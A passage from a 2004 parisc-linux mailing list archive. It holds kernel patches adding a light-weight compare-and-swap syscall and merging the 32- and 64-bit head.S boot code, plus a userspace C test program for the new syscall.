 	mtctl	%r26, %cr27		/* move arg0 to the control register */
 
+        /* Increase the chance of trapping if random jumps occur to this
+           address, fill from 0xf0 to 0x100 */
 	.rept 4
 	break   0,0
 	.endr
 
-/* This address must remain fixed, or user binaries go splat. */
+/* This address must remain fixed at 0x100 for glibc's syscalls to work */
 	.align 256
 linux_gateway_entry:
 	gate	.+8, %r0			/* become privileged */
@@ -344,6 +381,175 @@ tracesys_sigexit:
 	ldil	L%syscall_exit_rfi,%r1
 	be,n	R%syscall_exit_rfi(%sr7,%r1)
 
+
+        /* Light-weight-syscall code */
+
+lws_start:
+        /* Gate and ensure we return to userspace */
+        gate   .+8, %r0
+        depi   3, 31, 2, %r31
+
+        /* Is the lws entry number valid? */
+	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	b,n	lws_exit_nosys
+
+	mtsp	%r0,%sr4			/* get kernel space into sr4 */
+	mtsp	%r0,%sr5			/* get kernel space into sr5 */
+	mtsp	%r0,%sr6			/* get kernel space into sr6 */
+	mfsp    %sr7,%r1                        /* save user sr7 */
+	mtsp    %r1,%sr3                        /* and store it in sr3 */
+	mtsp	%r0,%sr7			/* get kernel space into sr7 */
+
+        /* Load table start */
+	ldil	L%lws_table, %r1
+	ldo     R%lws_table(%r1), %r28  /* Scratch use of r28 */
+#if defined(__LP64__)
+	ldd,s   %r20(%r28), %r20
+#else
+	ldwx,s  %r20(%r28), %r20
+#endif
+
+
+        /* Jump to lws */
+	be,n    0(%sr7,%r20)
+        /* WARNING: lws must issue the return to userspace! */
+
+lws_exit:
+        mfsp    %sr3,%r1                        /* get user space id */
+        mtsp    %r1,%sr4                        /* get user space into sr4 */
+        mtsp    %r1,%sr5                        /* get user space into sr5 */
+        mtsp    %r1,%sr6                        /* get user space into sr6 */
+        mtsp    %r1,%sr7                        /* get user space into sr7 */
+        be,n      0(%sr7, %r31)
+
+lws_exit_nosys:
+        /* Return to userspace */
+        be      0(%sr7, %r31)
+	ldo	-ENOSYS(%r0),%r21		   /* set errno */
+        
+
+lws_compare_and_swap:
+        /*
+                Implementing CAS as an atomic operation:
+
+                %r26 - Address to examine
+                %r25 - Old value to check (old)
+                %r24 - New value to set (new)
+                %r28 - Return prev through this register.
+        
+                Scratch: r20, r28, r1
+        */
+       
+
+        /* Test for permission to read from the address */
+#ifdef __LP64__
+	ldd,s   0(%sr3,%r26), %r20
+#else
+	ldwx,s  0(%sr3,%r26), %r20
+#endif
+        
+cas_testwrite:
+
+        /* Test for permission to write to the address */
+#if defined(__LP64__)
+        probe,w  (%sr3,%r26), %r20, %r28
+#else
+        probew  (%sr3,%r26), %r20, %r28
+#endif
+        cmpb,<>,n %r0, %r28, cas_continue
+	ldo    -EINVAL(%r0),%r21
+        b,n    lws_exit
+
+cas_continue:
+
+#ifdef CONFIG_SMP
+        /* Load start of lock table */
+        ldil   L%lws_lock_start, %r20
+        ldo    R%lws_lock_start(%r20), %r28
+
+        /* Extract four bits from r26 and hash lock (Bits 4-7) */
+        extru  %r26, 27, 4, %r20
+
+        /* Find lock to use, the hash is either one of 0 to
+           15, multiplied by 16 (keep it 16-byte aligned)
+           and add to the lock table offset. */
+        shlw   %r20, 4, %r20
+        add    %r20, %r28, %r20
+#endif
+
+cas_lock_loop:
+        rsm   PSW_SM_I, %r0
+
+
+#ifdef CONFIG_SMP
+        ldcw  0(%r20), %r28
+        cmpb,<>,n %r0, %r28, cas_action
+        ssm   PSW_SM_I, %r0
+        ldw   0(%r20), %r28
+cas_read_loop:
+        cmpb,=,n %r0, %r28, cas_read_loop
+        ldw   0(%r20), %r28
+        b     cas_lock_loop
+#endif
+
+        /*
+                prev = *addr;
+                if ( prev == old )
+                        *addr = new;
+                return prev;
+        */
+
+cas_action:
+        ldw   0(%sr3,%r26), %r28
+        sub,<>   %r28, %r25, %r0
+        stw   %r24, 0(%sr3,%r26)
+
+#ifdef CONFIG_SMP
+        /* Store ANY non-zero value to the lock */
+        stw   %r20, 0(%r20)
+#endif
+
+        /* No errors */
+        copy  %r0, %r21
+
+end_compare_and_swap:
+        /* Return to userspace */
+        b     lws_exit
+        ssm   PSW_SM_I, %r0
+
+
+	/* Make sure nothing else is placed on this page */
+
+	.align 4096
+	.export end_linux_gateway_page
+end_linux_gateway_page:
+
+        /*
+                All light-weight-syscall atomic operations 
+                will use this set of locks 
+        */
+        .align 4096
+        .export lws_lock_start
+.Llws_lock_start:
+        /* lws locks */
+        .align 16
+        .rept 16
+        /* Keep locks aligned at 16-bytes */
+        .word 1
+        .word 1
+        .word 1
+        .word 1
+        .endr
+
+        .align 4096
+        /* Light-weight-syscall table */
+        /* Start of lws table. */
+        /* FIXME: global symbol */
+lws_table:
+        LWS_ENTRY(compare_and_swap)     /* 0 - Atomic compare and swap */
+lws_end_table:
+        /* End of lws table */
+
 	.align 4096
 	.export sys_call_table
 .Lsys_call_table:
@@ -359,10 +565,4 @@ sys_call_table64:
 #include "syscall_table.S"
 #endif
 
-
-	/* Make sure nothing else is placed on this page */
-
-	.align 4096
-	.export end_linux_gateway_page
-end_linux_gateway_page:
 
-----8<----- Userspace test-lws -----8<-----
#include <stdio.h>
#include <stdlib.h>

#define LWS "0xb0"
#define LWS_CAS 0x0

#define LWS_CLOBBER "r26", "r25", "r24", "r23", "r22", "r20"
#define LWS_INPUT "r" (lwsnum), "r" (in0), "r" (in1), "r" (in2), "r" (in3), "r" (in4)
#define LWS_OUTPUT "=m" (retval), "=m" (error)

int lws_errno;

int lws(int lwsnum, int in0, int in1, int in2, int in3, int in4)
{
  int retval;
  int error;

  asm(
       "copy   %3, %%r26\n"
       "copy   %4, %%r25\n"
       "copy   %5, %%r24\n"
       "copy   %6, %%r23\n"
       "copy   %7, %%r22\n"
       "ble    " LWS "(%%sr2, %%r0)\n"
       "copy   %2, %%r20\n"
       "stw   %%r28, %0\n"
       "stw   %%r21, %1\n"
       : LWS_OUTPUT : LWS_INPUT : LWS_CLOBBER
     );

  if (error != 0)
    {
      printf("lws syscall error %d\n", error);
      lws_errno = error;
    }
  return retval;
}
	
#define CAS_OLD 12
#define CAS_NEW 34
#define LWS_BAD 666

int main(void)
{
  int ret;
  int casval = CAS_OLD;
  unsigned int t1,t2;
  
  printf("Testing lws CAS (syscall #%d)\n", LWS_CAS);
  
  /***** Test *****/
  /* cas(addr, old, new)
     {
       prev = *addr;
       if ( prev == old )
         *addr = new;
       return prev;
     } */
  lws_errno = 0;
  asm ("mfctl %%cr16,%0\n" : "=r" (t1) :);
  ret = lws(LWS_CAS, (int)&casval, CAS_OLD, CAS_NEW, -1, -1);
  asm ("mfctl %%cr16,%0\n" : "=r" (t2) :);
  if ((casval == CAS_NEW) && (lws_errno == 0))
    {
      printf("PASSED: CAS worked correctly.\n");
    }
  else
    {
      printf("FAILED: CAS did not work.\n");
    }
  printf("Time: %u %u (Diff %u)\n",t1,t2,t2-t1);
  
  /***** Test *****/
  lws_errno = 0;
  printf("Testing lws with invalid number (syscall #%d)\n", LWS_BAD);
  asm ("mfctl %%cr16,%0\n" : "=r" (t1) :);
  ret = lws(LWS_BAD, 0, 0, 0, 0, 0);
  asm ("mfctl %%cr16,%0\n" : "=r" (t2) :);
  if (lws_errno != 0)
    {
      printf("PASSED: lws returned error on invalid syscall number.\n");
    }
  else
    {
      printf("FAILED: lws didn't error on invalid syscall number!\n");
    }
  printf("Time: %u %u (Diff %u)\n",t1,t2,t2-t1);
  
  /***** Test *****/
  lws_errno = 0;
  printf("Testing lws CAS with NULL address (syscall #%d)\n", LWS_CAS);
  /* Pass a bogus address and see what happens? */
  asm ("mfctl %%cr16,%0\n" : "=r" (t1) :);
  ret = lws(LWS_CAS, 0, 0, 0, 0, 0);
  asm ("mfctl %%cr16,%0\n" : "=r" (t2) :);
  if (lws_errno != 0)
    {
      printf("PASSED: lws CAS returned error on invalid address.\n");
    }
  else
    {
      printf("FAILED: lws CAS operated on an invalid address!\n");
    }
  printf("Time: %u %u (Diff %u)\n",t1,t2,t2-t1);
  
  exit(0);

}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] head.S merge, take 2
Date: Thu, 5 Aug 2004 21:55:54 -0400
Lines: 476
Approved: news@gmane.org
Message-ID: <20040806015554.GA5319@leibniz.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623512 10322 80.91.229.3 (22 Nov 2014 02:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13352 invoked by uid 65534); 6 Aug 2004 01:56:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 06 Aug 2004 03:56:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CDA933BE21; Thu,  5 Aug 2004 19:56:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27542-09; Thu, 5 Aug 2004 19:56:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A3983BE16; Thu,  5 Aug 2004 19:56:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 858143BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 19:56:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27542-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 19:56:10 -0600 (MDT)
Original-Received: from mcmartin.ca (tombstone.cpe.net.cable.rogers.com [24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id 0A48B3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 19:56:09 -0600 (MDT)
Original-Received: from localhost.localdomain (leibniz.int.mcmartin.ca [10.254.42.5])
	by mcmartin.ca (Postfix) with ESMTP id DA248F0C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 21:56:07 -0400 (EDT)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id DD1EED027; Thu,  5 Aug 2004 21:55:54 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040803i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21847

Just thought I'd toss this out after incorporating tausq and jda's
comments.

Cheers,

Index: arch/parisc/kernel/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/Makefile,v
retrieving revision 1.4
diff -u -r1.4 Makefile
--- arch/parisc/kernel/Makefile	9 May 2004 04:13:00 -0000	1.4
+++ arch/parisc/kernel/Makefile	6 Aug 2004 01:27:52 -0000
@@ -3,7 +3,6 @@
 #
 
 head-y			:= head.o
-head-$(CONFIG_PARISC64)	:= head64.o
 extra-y			:= init_task.o $(head-y) vmlinux.lds.s
 
 AFLAGS_entry.o	:= -traditional
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.8
diff -u -r1.8 head.S
--- arch/parisc/kernel/head.S	29 Jul 2004 15:38:06 -0000	1.8
+++ arch/parisc/kernel/head.S	6 Aug 2004 01:27:53 -0000
@@ -1,12 +1,13 @@
-/*
- *
- * This file is subject to the terms and conditions of the GNU General Public
+/* This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
  *
  * Copyright (C) 1999 by Helge Deller
  * Copyright 1999 SuSE GmbH (Philipp Rumpf)
  * Copyright 1999 Philipp Rumpf (prumpf@tux.org)
+ * Copyright 2000 Hewlett Packard (Paul Bame, bame@puffin.external.hp.com)
+ * Copyright (C) 2001 Grant Grundler (Hewlett Packard)
+ * Copyright (C) 2004 Kyle McMartin <kyle@debian.org>
  *
  * Initial Version 04-23-1999 by Helge Deller <deller@gmx.de>
  */
@@ -15,12 +16,12 @@
 
 #include <asm/offsets.h>
 #include <asm/psw.h>
-
+#include <asm/pdc.h>
+	
 #include <asm/assembly.h>
 #include <asm/pgtable.h>
 
-
-	.level 1.1
+	.level	LEVEL
 
 	.data
 
@@ -32,12 +33,13 @@
 	.word 0 /* arg3 */
 
 	.text
-	.align	4	
+	.align	4
 	.import init_thread_union,data
+	.import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
+	.import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
+#ifndef __LP64__
 	.import	$global$		/* forward declaration */
-	.import fault_vector_11,code	/* IVA parisc 1.1 32 bit */
-	.import fault_vector_20,code	/* IVA parisc 2.0 32 bit */
-
+#endif /*!LP64*/
 	.export stext
 	.export _stext,data		/* Kernel want it this way! */
 _stext:
@@ -56,82 +58,108 @@
 	.import __bss_start,data
 	.import __bss_stop,data
 
-	ldil            L%PA(__bss_start),%r3
-	ldo             R%PA(__bss_start)(%r3),%r3
-	ldil            L%PA(__bss_stop),%r4
-	ldo             R%PA(__bss_stop)(%r4),%r4
+	load32		PA(__bss_start),%r3
+	load32		PA(__bss_stop),%r4
 $bss_loop:
 	cmpb,<<,n       %r3,%r4,$bss_loop
+#ifdef __LP64__
+	stb,ma          %r0,1(%r3)
+#else
 	stw,ma          %r0,4(%r3)
+#endif
 
 	/* Save away the arguments the boot loader passed in (32 bit args) */
-
-	ldil            L%PA(boot_args),%r1
-	ldo             R%PA(boot_args)(%r1),%r1
+	load32		PA(boot_args),%r1
 	stw,ma          %arg0,4(%r1)
 	stw,ma          %arg1,4(%r1)
 	stw,ma          %arg2,4(%r1)
 	stw,ma          %arg3,4(%r1)
 
 	/* Initialize startup VM. Just map first 8 MB of memory */
-	ldil		L%PA(pg0),%r1
-	ldo		R%PA(pg0)(%r1),%r1
-	shr		%r1,PxD_VALUE_SHIFT,%r3
-	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
+	load32		PA(pg0),%r1
 
-	ldil		L%PA(swapper_pg_dir),%r4
-	ldo		R%PA(swapper_pg_dir)(%r4),%r4
+#ifdef __LP64__
+	load32		PA(pmd0),%r5
+	shrd            %r5,PxD_VALUE_SHIFT,%r3	
+#else
+	shr		%r1,PxD_VALUE_SHIFT,%r3
+#endif
+        ldo             (PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3	
+	
+	load32		PA(swapper_pg_dir),%r4
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
+
+#ifdef __LP64__
+	stw		%r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
+	shrd		%r1,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
+	ldo		ASM_PMD_ENTRY*ASM_PMD_ENTRY_SIZE(%r5),%r5
+#else
+        ldo             ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4),%r4
+#endif
 	ldi		ASM_PT_INITIAL,%r1
-	ldo		ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4),%r4
+
 1:
+#ifdef __LP64__
+	stw             %r3,0(%r5)
+#else
 	stw             %r3,0(%r4)
+#endif
+	
 	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
+
+#ifdef __LP64__
+	ldo		ASM_PMD_ENTRY_SIZE(%r5),%r5
+#else
 	ldo		ASM_PGD_ENTRY_SIZE(%r4),%r4
+#endif
 
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
-	ldil		L%PA(pg0),%r1
-	ldo		R%PA(pg0)(%r1),%r1
+	load32		PA(pg0),%r1
+
 $pgt_fill_loop:
-	stwm		%r3,ASM_PTE_ENTRY_SIZE(%r1)
+	STREGM          %r3,ASM_PTE_ENTRY_SIZE(%r1)
 	ldo		ASM_PAGE_SIZE(%r3),%r3
 	bb,>=		%r3,31-KERNEL_INITIAL_ORDER,$pgt_fill_loop
 	nop
 
-
 	/* Load the return address...er...crash 'n burn */
 	copy		%r0,%r2
 
 	/* And the RFI Target address too */
-	ldil            L%start_kernel,%r11
-	ldo             R%start_kernel(%r11),%r11
+	load32		start_kernel,%r11
 
 	/* And the initial task pointer */
-
-	ldil            L%init_thread_union,%r6
-	ldo             R%init_thread_union(%r6),%r6
+	load32		init_thread_union,%r6
 	mtctl           %r6,%cr30
 
 	/* And the stack pointer too */
-
+#ifdef __LP64__
+	load32          PA(init_thread_union+THREAD_SZ_ALGN),%sp
+#else
 	ldo             THREAD_SZ_ALGN(%r6),%sp
+#endif
 
 	/* And the interrupt stack */
-
-	ldil            L%interrupt_stack,%r6
-	ldo             R%interrupt_stack(%r6),%r6
+	load32		interrupt_stack,%r6
 	mtctl           %r6,%cr31
 
+#ifdef __LP64__
+#define MEM_PDC_LO 0x388
+#define MEM_PDC_HI 0x35C
+	ldw             MEM_PDC_LO(%r0),%r3
+	ldw             MEM_PDC_HI(%r0),%r6
+	depd            %r6, 31, 32, %r3        /* move to upper word */
+#endif
 #ifdef CONFIG_SMP
 	/* Set the smp rendevous address into page zero.
 	** It would be safer to do this in init_smp_config() but
 	** it's just way easier to deal with here because
 	** of 64-bit function ptrs and the address is local to this file.
 	*/
-	ldil		L%PA(smp_slave_stext),%r10
-	ldo		R%PA(smp_slave_stext)(%r10),%r10
+	load32		PA(smp_slave_stext),%r10
 	stw		%r10,0x10(%r0)	/* MEM_RENDEZ */
 	stw		%r0,0x28(%r0)	/* MEM_RENDEZ_HI - assume addr < 4GB */
 
@@ -141,10 +169,16 @@
 	/*
 	** Code Common to both Monarch and Slave processors.
 	** Entry:
+	**
+	**  1.1:	
 	**    %r11 must contain RFI target address.
 	**    %r25/%r26 args to pass to target function
 	**    %r2  in case rfi target decides it didn't like something
 	**
+	**  2.0w:
+	**    %r3  PDCE_PROC address
+	**    %r11 RFI target address
+	**
 	** Caller must init: SR4-7, %sp, %r10, %cr24/25, 
 	*/
 common_stext:
@@ -154,8 +188,41 @@
 	/* Clear PDC entry point - we won't use it */
 	stw		%r0,0x10(%r0)	/* MEM_RENDEZ */
 	stw		%r0,0x28(%r0)	/* MEM_RENDEZ_HI */
-#endif
+#endif /*CONFIG_SMP*/
 
+#ifdef __LP64__
+	/* Save the rfi target address */
+	ldd             TI_TASK-THREAD_SZ_ALGN(%sp), %r10
+	tophys_r1       %r10
+	std             %r11,  TASK_PT_GR11(%r10)
+	/* Switch to wide mode Superdome doesn't support narrow PDC
+	** calls.
+	*/
+1:	mfia            %rp             /* clear upper part of pcoq */
+	ldo             2f-1b(%rp),%rp
+	depdi           0,31,32,%rp
+	bv              (%rp)
+	ssm             PSW_SM_W,%r0
+
+        /* Set Wide mode as the "Default" (eg for traps)
+        ** First trap occurs *right* after (or part of) rfi for slave CPUs.
+        ** Someday, palo might not do this for the Monarch either.
+        */
+2:
+	ldo             PDC_PSW(%r0),%arg0              /* 21 */
+	ldo             PDC_PSW_SET_DEFAULTS(%r0),%arg1 /* 2 */
+	ldo             PDC_PSW_WIDE_BIT(%r0),%arg2     /* 2 */
+	load32          PA(stext_pdc_ret), %rp
+	bv              (%r3)
+	copy            %r0,%arg3
+
+stext_pdc_ret:
+	/* restore rfi target address*/
+	ldd             TI_TASK-THREAD_SZ_ALGN(%sp), %r10
+	tophys_r1       %r10
+	ldd             TASK_PT_GR11(%r10), %r11
+#endif
+	
 	/* PARANOID: clear user scratch/user space SR's */
 	mtsp	%r0,%sr0
 	mtsp	%r0,%sr1
@@ -168,12 +235,15 @@
 	mtctl	%r0,%cr12
 	mtctl	%r0,%cr13
 
+#ifdef __LP64__
+	/* Prepare to RFI! Man all the cannons! */
+	tovirt_r1       %sp
+#endif
+	
 	/* Initialize the global data pointer */
-	ldil		L%$global$,%dp
-	ldo		R%$global$(%dp),%dp
+	loadgp
 
-	/*
-	 * Set up our interrupt table.  HPMCs might not work after this! 
+	/* Set up our interrupt table.  HPMCs might not work after this! 
 	 *
 	 * We need to install the correct iva for PA1.1 or PA2.0. The
 	 * following short sequence of instructions can determine this
@@ -190,14 +260,35 @@
 	ldo		R%PA(fault_vector_11)(%r10),%r10
 
 $is_pa20:
-	ldil		L%PA(fault_vector_20),%r10
-	ldo		R%PA(fault_vector_20)(%r10),%r10
+	.level		LEVEL /* restore 1.1 || 2.0w */
+	load32		PA(fault_vector_20),%r10
 
 $install_iva:
 	mtctl		%r10,%cr14
 
-	/* Disable Q bit so we can load the iia queue */
-	rsm            PSW_SM_Q,%r0
+#ifdef __LP64__
+	.align          256
+aligned_rfi:
+	ssm             0,0
+	nop             /* 1 */
+	nop             /* 2 */
+	nop             /* 3 */
+	nop             /* 4 */
+	nop             /* 5 */
+	nop             /* 6 */
+	nop             /* 7 */
+	nop             /* 8 */
+#endif
+
+#ifdef __LP64__ /* move to psw.h? */
+#define		PSW_BITS	PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
+#else
+#define		PSW_BITS	PSW_SM_Q
+#endif
+
+$rfi:	
+	/* turn off troublesome PSW bits */
+	rsm		PSW_BITS,%r0
 
 	/* kernel PSW:
 	 *  - no interruptions except HPMC and TOC (which are handled by PDC)
@@ -205,8 +296,7 @@
 	 *  - big-endian
 	 *  - virtually mapped
 	 */
-	ldil		L%KERNEL_PSW,%r10
-	ldo		R%KERNEL_PSW(%r10),%r10
+	load32		KERNEL_PSW,%r10
 	mtctl		%r10,%ipsw
 
 	/* Set the space pointers for the post-RFI world
@@ -232,6 +322,7 @@
 	.import smp_init_current_idle_task,data
 	.import	smp_callin,code
 
+#ifndef __LP64__
 smp_callin_rtn:
         .proc
 	.callinfo
@@ -239,9 +330,9 @@
 	nop
 	nop
         .procend
+#endif /*!LP64*/
 
 /***************************************************************************
-*
 * smp_slave_stext is executed by all non-monarch Processors when the Monarch
 * pokes the slave CPUs in smp.c:smp_boot_cpus().
 *
@@ -249,8 +340,6 @@
 * mode. Once all available/eligible CPUs are in virtual mode, all are
 * released and start out by executing their own idle task.
 *****************************************************************************/
-
-
 smp_slave_stext:
         .proc
 	.callinfo
@@ -264,28 +353,31 @@
 	mtsp	   %r0,%sr7
 
 	/*  Initialize the SP - monarch sets up smp_init_current_idle_task */
-	ldil		L%PA(smp_init_current_idle_task),%sp
-	ldo		R%PA(smp_init_current_idle_task)(%sp),%sp
-	ldw		0(%sp),%sp	/* load task address */
+	load32		PA(smp_init_current_idle_task),%sp
+	LDREG		0(%sp),%sp	/* load task address */
 	tophys_r1	%sp
-	ldw		TASK_THREAD_INFO(%sp), %sp
+	LDREG		TASK_THREAD_INFO(%sp),%sp
 	mtctl           %sp,%cr30       /* store in cr30 */
-	addil		L%THREAD_SZ_ALGN,%sp	/* stack is above task */
-	ldo		R%THREAD_SZ_ALGN(%r1),%sp
+	ldo             THREAD_SZ_ALGN(%sp),%sp
+#ifdef __LP64__
+	tophys_r1       %sp
+#endif
 
 	/* point CPU to kernel page tables */
-	ldil		L%PA(swapper_pg_dir),%r4
-	ldo		R%PA(swapper_pg_dir)(%r4),%r4
+	load32		PA(swapper_pg_dir),%r4
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
+#ifdef __LP64__
+	/* Setup PDCE_PROC entry */
+	copy            %arg0,%r3
+#else
 	/* Load RFI *return* address in case smp_callin bails */
-	ldil		L%smp_callin_rtn,%r2
-	ldo		R%smp_callin_rtn(%r2),%r2
-
+	load32		smp_callin_rtn,%r2
+#endif
+	
 	/* Load RFI target address.  */
-	ldil		L%smp_callin,%r11
-	ldo		R%smp_callin(%r11),%r11
+	load32		smp_callin,%r11
 	
 	/* ok...common code can handle the rest */
 	b		common_stext
@@ -293,7 +385,7 @@
 
 	.procend
 #endif /* CONFIG_SMP */
-
+#ifndef __LP64__
 	.data
 
 	.align	4
@@ -303,3 +395,4 @@
 	.size	$global$,4
 $global$:	
 	.word 0
+#endif /*!LP64*/
Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/assembly.h,v
retrieving revision 1.3
diff -u -r1.3 assembly.h
--- include/asm-parisc/assembly.h	30 Jul 2004 23:23:20 -0000	1.3
+++ include/asm-parisc/assembly.h	6 Aug 2004 01:28:04 -0000
@@ -26,6 +26,7 @@
 #define STREG	std
 #define LDREGM	ldd,mb
 #define STREGM	std,ma
+#define SHRREG  shrd
 #define RP_OFFSET	16
 #define FRAME_SIZE	128
 #else
@@ -33,14 +34,21 @@
 #define STREG	stw
 #define LDREGM	ldwm
 #define STREGM	stwm
+#define SHRREG  shr
 #define RP_OFFSET	20
 #define FRAME_SIZE	64
 #endif
 
 #ifdef CONFIG_PA20
 #define BL		b,l
+#ifdef CONFIG_PA64
+#define LEVEL 2.0w
+#else
+#define LEVEL 2.0
+#endif
 #else
 #define BL		bl
+#define LEVEL 1.1
 #endif
 
 #ifdef __ASSEMBLY__
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] head.S merge, take 2
Date: Thu, 5 Aug 2004 22:01:25 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <20040806020125.GA16906@engsoc.org>
References: <20040806015554.GA5319@leibniz.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623513 10323 80.91.229.3 (22 Nov 2014 02:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14916 invoked by uid 65534); 6 Aug 2004 02:04:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 06 Aug 2004 04:04:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A0C8F3BE32; Thu,  5 Aug 2004 20:04:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29868-09; Thu, 5 Aug 2004 20:04:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B75793BE2A; Thu,  5 Aug 2004 20:03:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E35D3BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 20:03:50 -0600 (MDT)
